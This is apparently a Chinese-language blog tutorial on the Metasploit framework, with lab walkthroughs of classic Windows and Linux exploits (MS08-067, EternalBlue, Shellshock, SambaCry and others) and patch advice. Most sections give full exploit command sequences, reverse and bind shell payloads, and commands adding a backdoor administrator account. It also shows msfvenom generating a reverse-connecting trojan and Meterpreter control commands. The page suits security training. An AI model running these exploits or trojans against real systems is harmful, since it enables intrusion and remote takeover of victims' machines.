Metasploit渗透测试完全指南
Metasploit 是一款开源的安全漏洞利用框架,它覆盖了信息收集、漏洞探测、漏洞利用、后渗透控制等渗透测试的全流程。框架本身内置了超过 2000 个已知软件漏洞的利用模块,并且保持持续更新,让安全研究者可以快速验证漏洞危害,也让企业可以提前修复安全隐患。除了利用现成的漏洞,MSF 还提供了msfvenom工具,可以自定义生成恶意木马程序,诱导用户运行后获取控制权限。msfvenom整合了旧版的
在网络安全领域,Metasploit Framework(简称 MSF)无疑是最负盛名的渗透测试框架之一。它将漏洞利用、载荷生成、后渗透控制等能力整合为统一的平台,被安全从业者称为 "渗透测试的瑞士军刀",甚至被社区冠以 "可以黑掉整个宇宙" 的戏称。本文将从基础入门到实战案例,带你全面掌握 MSF 的使用与核心原理。
合规提醒:本文所有内容仅用于安全技术学习与授权靶场测试,未经授权的渗透测试行为违反《网络安全法》及相关法律法规,请勿用于非法用途。
一、MSF 基础入门
1.1 MSF 概述
Metasploit 是一款开源的安全漏洞利用框架,它覆盖了信息收集、漏洞探测、漏洞利用、后渗透控制等渗透测试的全流程。框架本身内置了超过 2000 个已知软件漏洞的利用模块,并且保持持续更新,让安全研究者可以快速验证漏洞危害,也让企业可以提前修复安全隐患。
1.2 MSF 目录结构
在 Kali Linux 系统中,MSF 的默认安装路径为 /usr/share/metasploit\-framework/,其目录结构清晰划分了不同功能的组件:
| 目录 | 功能说明 |
|---|---|
data |
存储框架所需的二进制数据、字典文件、图像资源等 |
documentation |
框架的官方文档与说明文件 |
lib |
MSF 框架的核心代码库 |
plugins |
第三方插件目录,支持集成 sqlmap、Nessus 等安全工具 |
scripts |
各类功能脚本,包括 Meterpreter 脚本、资源脚本等 |
tools |
独立的命令行小工具,用于辅助渗透测试 |
modules |
核心模块目录,MSF 的所有功能模块都存储于此,包含 6 大类子模块: |
auxiliary |
辅助模块,用于端口扫描、密码爆破、漏洞验证等信息收集工作 |
exploits |
漏洞利用模块,包含各类漏洞的利用脚本,按系统 / 服务分类管理 |
payloads |
攻击载荷,攻击成功后在目标主机执行的代码,如反弹 Shell、命令执行等 |
post |
后渗透模块,用于提权、内网渗透、持久化控制等后续操作 |
encoders |
编码器,用于对载荷进行编码,绕过杀毒软件与入侵检测系统 |
nop |
空指令模块,用于构造 NOP sled,保障 Shellcode 的稳定执行 |
1.3 MSF 基本命令
MSF 最常用的交互入口是msfconsole控制台,启动后你就可以使用各类命令完成渗透操作:
msfconsole

常用的基础命令如下:
-
帮助命令:
?或help,查看所有可用命令的帮助信息 -
模块搜索:
search 漏洞名称,快速定位对应的漏洞模块,例如搜索经典漏洞:search ms08\-067 -
加载模块:
use 模块路径,加载指定的功能模块,例如:use exploit/windows/smb/ms08\_067\_netapi -
返回上级:
back,退出当前模块的配置环境,回到 msf 控制台主界面 -
端口连接:
connect 主机 端口,简易的网络连接工具,例如连接百度 80 端口:connect www\.baidu\.com 80 -
模块信息:
info 模块路径,查看模块的详细描述、作者、支持选项等信息 -
任务管理:
jobs,查看和管理后台运行的渗透任务 -
退出控制台:
quit或exit,关闭 msfconsole
二、MSF 渗透实战案例
注:以下所有案例的 IP 地址均为演示示例,实际测试时请替换为你自己的靶机与攻击机 IP。
2.1 Windows 系统漏洞实战
2.1.1 经典远程溢出:MS08-067 漏洞利用
这是 Windows 系统早期最经典的远程溢出漏洞,曾经被 Conficker 蠕虫大规模利用。
-
测试环境:靶机 Windows XP SP3
完整操作命令:
# 启动MSF msfconsole # 搜索漏洞模块 search MS08-067 # 加载漏洞模块 use exploit/windows/smb/ms08_067_netapi # 查看需要配置的参数 show options # 设置目标靶机IP set RHOST 192.168.244.7 # 执行攻击 run # 获取系统Shell shell # 后续系统用户管理 net user # 查看当前用户 net user test test /add # 添加测试用户 net user test /del # 删除测试用户
漏洞原理: 该漏洞源于 Windows SMB 服务的NetPathCanonicalize函数,在处理包含\.\.\\的相对路径时,未正确验证输入边界,导致栈缓冲区溢出。攻击者可以通过 445 端口发送恶意 RPC 请求,覆盖函数返回地址,从而执行任意代码。
防御措施:
-
安装微软官方补丁 KB958644
-
关闭 445 端口的外部访问,启用防火墙限制 SMB 服务
-
监控 SMB 流量中的异常路径模式
2.1.2 浏览器挂马:MS10-018 IE 漏洞利用
针对旧版 IE 浏览器的漏洞,攻击者可以构造恶意网页,诱导用户访问后获取系统权限。
-
测试环境:靶机 Windows XP SP3
完整操作命令:
msfconsole search ms10-018 # 加载浏览器漏洞模块 use exploit/windows/browser/ms10_018_ie_behaviors # 设置攻击机IP set SRVHOST 192.168.244.4 # 设置攻击载荷 set PAYLOAD windows/meterpreter/bind_tcp set LPORT 4441 # 后台启动攻击服务 exploit -j # 查看后台任务 jobs # 靶机访问恶意链接后,查看会话 sessions # 进入会话 sessions -i 1 # 获取Shell shell
漏洞原理: 漏洞源于 IE6/7/8 中的 Tabular Data Control ActiveX 控件,该控件在解析超长 URL 参数时未做长度校验,导致堆溢出与类型混淆漏洞。攻击者可以通过恶意网页劫持 IE 的控制流,执行任意代码。
防御措施:
-
安装补丁 KB980182,升级 IE 浏览器
-
禁用不安全的 ActiveX 控件,启用 DEP/ASLR 内存保护
2.1.3 恶意文档攻击:MS10-087 RTF 漏洞利用
这是曾经钓鱼邮件中最常用的漏洞之一,攻击者可以构造恶意 RTF 文档,用户打开 Word 文档即可触发漏洞。
-
测试环境:靶机 Windows XP SP3
完整操作命令:
msfconsole search ms10-087 # 加载文件格式漏洞模块 use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof # 设置攻击载荷,这里演示弹出计算器 set payload windows/exec set CMD calc.exe # 设置生成的恶意文件名 set FILENAME ceshi.rtf # 生成恶意文档 run
生成的恶意文档会保存在 MSF 的输出目录,将该文档发送给靶机,用户打开后即可触发漏洞,执行预设的代码。
漏洞原理: Word 的 RTF 解析引擎在处理pnfragments控制字时,未对属性字符串的长度做校验,导致栈缓冲区溢出。攻击者可以构造超长的属性字符串,覆盖函数返回地址,执行任意代码。该漏洞曾经被大规模用于挂马攻击,超过 50% 的挂马网站都曾利用过该漏洞。
防御措施:
-
安装补丁 KB2423930
-
启用 Office 的保护视图,不要打开来历不明的文档
2.1.4 史诗级漏洞:永恒之蓝 MS17-010 漏洞利用
这是 NSA 泄露的高危漏洞,曾经被 WannaCry 勒索病毒利用,在全球范围内造成了巨大的破坏。
-
测试环境:靶机 Windows 7

完整操作命令:
msfconsole # 加载永恒之蓝漏洞模块 use exploit/windows/smb/ms17_010_eternalblue # 设置攻击载荷 set payload windows/x64/shell/bind_tcp # 设置目标靶机IP set rhosts 192.168.209.129 set LHOST 0.0.0.0 # 执行攻击 run # 后续提权操作 net user test test /add net localgroup administrators test /add
漏洞原理: 该漏洞存在于 Windows SMBv1 协议的 FEALIST 结构处理逻辑中,SrvOs2FeaListSizeToNt函数在计算内存大小时存在错误,导致内核态的堆缓冲区溢出。攻击者可以通过该漏洞直接以内核权限执行任意代码,无需用户交互,仅需目标开放 445 端口即可利用。
防御措施:
-
安装补丁 KB4013389
-
关闭 SMBv1 协议,这是最有效的缓解措施
-
阻断 445 端口的外部非授权访问
2.2 Linux 系统漏洞实战
2.2.1 Linux 版永恒之蓝:SambaCry CVE-2017-7494
该漏洞是 Samba 服务中的远程代码执行漏洞,被称为 Linux 版的永恒之蓝,允许攻击者远程获取 root 权限。
-
测试环境:vulhub 靶场
完整操作命令:
# 靶机启动环境 cd /home/enjoy/vulhub-master/samba/CVE-2017-7494 docker-compose up -d # 攻击机操作 msfconsole use exploit/linux/samba/is_known_pipename # 设置目标靶机IP set RHOSTS 192.168.244.6 run # 获取root权限Shell id
漏洞原理: Samba 的is\_known\_pipename函数在处理命名管道名称时,未正确验证路径,攻击者可以通过构造恶意路径,诱使 Samba 以 root 权限加载任意位置的共享库文件,从而执行任意代码。
2.2.2 破壳漏洞:Shellshock CVE-2014-6271
这是 Bash shell 中的一个高危漏洞,影响了全球数亿台 Linux/Unix 设备。
-
测试环境:vulhub 靶场
完整操作命令:
# 靶机启动环境 cd /home/enjoy/vulhub-master/bash/shellshock docker-compose build docker-compose up -d # 攻击机操作 msfconsole use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 192.168.244.6 set RPORT 8080 set TARGETURI /victim.cgi run shell id
漏洞原理: Bash 在解析函数型环境变量时,未对函数定义的边界做校验,攻击者可以在函数定义后附加任意代码,Bash 会无条件执行这些代码。该漏洞可以通过 CGI 脚本、SSH 等多种方式远程触发。
2.2.3 PHP CGI 参数注入:CVE-2012-1823
PHP-CGI 模式下的参数注入漏洞,允许攻击者远程执行任意 PHP 代码。
-
测试环境:vulhub 靶场
完整操作命令:
# 靶机启动环境 cd /home/enjoy/vulhub-master/php/CVE-2012-1823 docker-compose build docker-compose up -d # 攻击机操作 msfconsole use exploit/multi/http/php_cgi_arg_injection set RHOSTS 192.168.244.6 set RPORT 8080 run shell id
漏洞原理: 早期 PHP-CGI 允许将查询字符串解析为命令行参数,攻击者可以构造以\-d开头的恶意参数,动态修改 PHP 的配置,开启远程文件包含,从而执行任意代码。
2.2.4 分布式编译漏洞:Distcc CVE-2004-2678
Distcc 是分布式编译工具,早期版本存在配置缺陷,允许攻击者远程执行任意命令。
-
测试环境:Metasploitable2-Linux 靶场
完整操作命令:
msfconsole use exploit/unix/misc/distcc_exec set payload cmd/unix/reverse_perl # 设置目标靶机IP set rhost 192.168.244.8 # 设置攻击机IP set lhost 192.168.244.4 exploit id
漏洞原理: 早期 Distcc 服务默认信任所有客户端的连接,并且未对编译指令做过滤,攻击者可以直接发送恶意命令,诱使服务端以高权限执行。
2.3 自定义恶意载荷:MSF 木马生成与控制
除了利用现成的漏洞,MSF 还提供了msfvenom工具,可以自定义生成恶意木马程序,诱导用户运行后获取控制权限。msfvenom整合了旧版的msfpayload和msfencode,可以快速生成跨平台的恶意载荷。

完整操作流程:
-
生成恶意木马
# 生成Windows平台的反向连接木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe >hello.exe
这个命令会生成一个名为hello\.exe的木马程序,运行后会主动连接攻击机的 7788 端口。
-
攻击机启动监听 将木马发送给靶机后,在攻击机启动监听,等待靶机上线:
msfconsole # 加载监听模块 use exploit/multi/handler # 配置和木马一致的载荷 set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 7788 # 后台启动监听 exploit -j
-
远程控制靶机 靶机运行木马后,攻击机就会获得 Meterpreter 会话,可以执行各种控制操作:
# 截屏查看靶机屏幕 screenshot # 查看靶机网络配置 ipconfig # 获取系统Shell shell # 开启远程桌面,完全控制靶机 run vnc
三、总结与防御思路
本文介绍的这些漏洞,都是网络安全史上的经典高危漏洞,它们曾经造成了大规模的安全事件,但如今都已经有了成熟的修复方案。学习这些漏洞的原理与利用方式,不是为了攻击,而是为了更好的理解攻击者的思路,从而构建更完善的防御体系:
-
及时更新补丁:这是最根本的防御手段,绝大多数漏洞都有官方的修复补丁,及时升级系统和软件可以阻挡大部分攻击。
-
最小权限原则:服务尽量使用低权限用户运行,即使服务被攻破,也能限制攻击者的权限,降低危害。
-
网络访问控制:关闭不必要的端口,限制敏感端口(如 445、3632 等)的外部访问,仅允许可信 IP 连接。
-
启用安全机制:开启 DEP、ASLR、SMB 签名等安全防护机制,提高漏洞利用的门槛。
-
行为监控:监控异常的网络流量与进程行为,及时发现入侵行为。
最后再次提醒,网络安全技术是一把双刃剑,只有在合法授权的环境下进行测试,才能真正发挥它的价值,保护我们的网络空间安全。
更多推荐
所有评论(0)